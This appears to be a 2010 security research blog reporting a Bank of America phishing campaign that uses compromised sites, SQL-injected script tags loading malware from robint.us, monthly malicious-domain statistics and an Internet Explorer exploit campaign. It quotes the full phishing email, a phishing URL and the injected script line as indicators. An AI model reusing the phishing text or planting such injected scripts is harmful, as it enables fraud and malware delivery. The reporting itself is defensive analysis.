Looks like the latest Bank of America phishing scam is springboarding off a couple of compromised websites. First, here's a look at the predictably worded phishing email:

 Dear Bank of America Customer,

We recently have determined that different computers have logged in your Bank of America Online Banking account, and multiple password failures were present before the logons. We now need you to re-confirm your account information to us. If this is not completed by July 31st, 2010, we will be forced to suspend your account indefinitely, as it may have been used for fraudulent purposes. We thank you for your cooperation in this manner. In order to confirm your Online Bank records, we may require some specific information from you.

To restore your account, please Sign in to Online Banking.

Here's where victims get sauced. The link behind "Sign in to Online Banking" actually points to gramsbbq.org/bain. Now grambbq.org is the legitimate website for Gram's Mission Barbecue Palace in Riverside, CA. The gramsbbq.org/bain page is a 302 redirect that leads to a phishing page hosted on a second compromised site: chasingarcadia.com (the website for Canadian band Chasing Arcadia). The actual phishing page is at:

http://www.chasingarcadia.com/channel/safe.sslbankofamerica.com/index.htm

This use of compromised sites as redirectors and phishing host enables the attackers to bypass reputation filters and/or community-based trust reporting. And it increases the collateral damage, because if/when the compromised sites are blacklisted, those businesses could suffer as a result.

As mentioned earlier this week, about 7k pages (not sites) have been struck by SQL injected iframes pointing to malware on robint.us. (That number has been over-inflated by over 100k or even a million due to poorly constructed search queries, which was the subject of the previous post on the topic).

Anyway, in some of the reports, one of the sites claimed to be compromised was that of the Wall Street Journal (WSJ.com). However, ScanSafe investigation reveals the SQL injection attack that appeared on certain pages of the WSJ site weren't the result of compromise on WSJ directly, but rather the result of compromise of a third-party partner.

That partner, adicio.com, provides real estate listings that are in turn displayed on certain pages of the WSJ.com website.

Of course, from a site visitor's perspective, this might seem a bit semantic. But still, it is worth pointing out that it wasn't really wsj.com that was compromised.

One of many SQL injection attacks is getting some blogger attention, largely due to generic searches on the malware domain name. The malicious iframe on the compromised site is:

script src=http://ww.robint.us/u.js

Search on the full iframe with quotes and you get about 7k hits in Google. But search on just the domain name or omit the quotes and you get over a million hits. That's because the more generic search picks up any page that mentions the domain or includes any mix of those keywords. This loosely constructed search mistake causes some to believe the attack is much larger than it really is.

Certainly 7k Web pages compromised is nothing to sneeze at but it's certainly not a million pages and certainly nothing new - many of these same compromised pages have been repeatedly compromised in one SQL injection attack after another since 2007.

On a more positive note, when SQL injection attacks first went mainstream a few years back, it wasn't uncommon to see a million+ pages compromised in a single attack. From that perspective, 7k is a vast improvement and shows that at least many sites are paying attention and taking the appropriate security measures. On the downside, attacks like robint.us are just one of over a thousand unique attacks carried out via the Web each month.

Some interesting stats from May.

• 16196 unique malicious domains.
• The top ten malicious domains comprised 23% of all Web malware attacks in May 2010.
• Five of the top ten were related to attacks against GoDaddy-hosted websites, for a total of 14% of all Web malware in May 2010.
• Top Web malware was Trojan.JS.Redirector.cq, the majority of which resulted from attacks against GoDaddy-hosted websites.
• Gumblar was the second most prevalent Web malware encountered, at 7%.
• Third most prevalent Web-distributed malware encountered was Backdoor.Win32.Alureon, at 6%.

Top Ten Malicious Domains, May 2010

holasionweb.com* - 7%
www.sitepalace.com - 3%
losotrana.com* - 2%
indesignstudioinfo.com* - 2%
kdjkfjskdfjlskdjf.com* - 2%
easfindnex.org - 2%
findermar.org - 2%
76.73.33.109 - 2%
findrasup.org - 1%
zettapetta.com* - 1%

*Related to attacks against GoDaddy-hosted websites

Top Ten Web Malware, May 2010

Trojan.JS.Redirector.cq - 14%
Exploit.JS.Gumblar - 7%
Backdoor.Win32.Alureon - 6%
Exploit.Java.CVE-2009-3867.d - 3%
Trojan.JS.Redirector.at - 3%
Downloader.JS.Agent.fhx - 2%
OI.Backdoor.Win32.Autorun.cx - 2%
OI.Win32.Susp.ms - 2%
Trojan.Iframe.f - 2%
Trojan.GIFIframe.a - 2%

A new attack emanating from the malware domain v3p2.com may be linked to a possible (alleged) root compromise of greatandhra.com, a news and media site with a worldwide Alexa rating of 2339.

The v3p2.com attack drops a cookie to track victims, checks for the presence of Rising AV or 360Safe antivirus, then exploits the "use after free" vulnerability in Microsoft Internet Explorer versions 6 (including SP1) and 7 (CVE-2010-0806 / MS10-018).

Successful exploit leads to the silent installation of a data theft trojan delivered from n9uo.com. Both attack domains - v3p2.com and n9uo.com - were registered on May 7th. Referrers to the v3p2.com domain indicated the attack was originating from the popular greatandhra.com website.

Coincidentally (or not), greatandhra.com was mentioned on Hack Forums (tagline Packets, Punks, and Posts) on May 2nd for having a vulnerable/accessible mysql.user root entry. A subsequent post to the thread (also on May 2nd) by someone using the moniker jfmherokiller claimed shell access had been gained.

First encounters resulting from these attack began on May 10th, eight days after the initial allegations that root access to greatandhra.com had been gained and three days after the v3p2.com and n9uo.com malware domains were registered.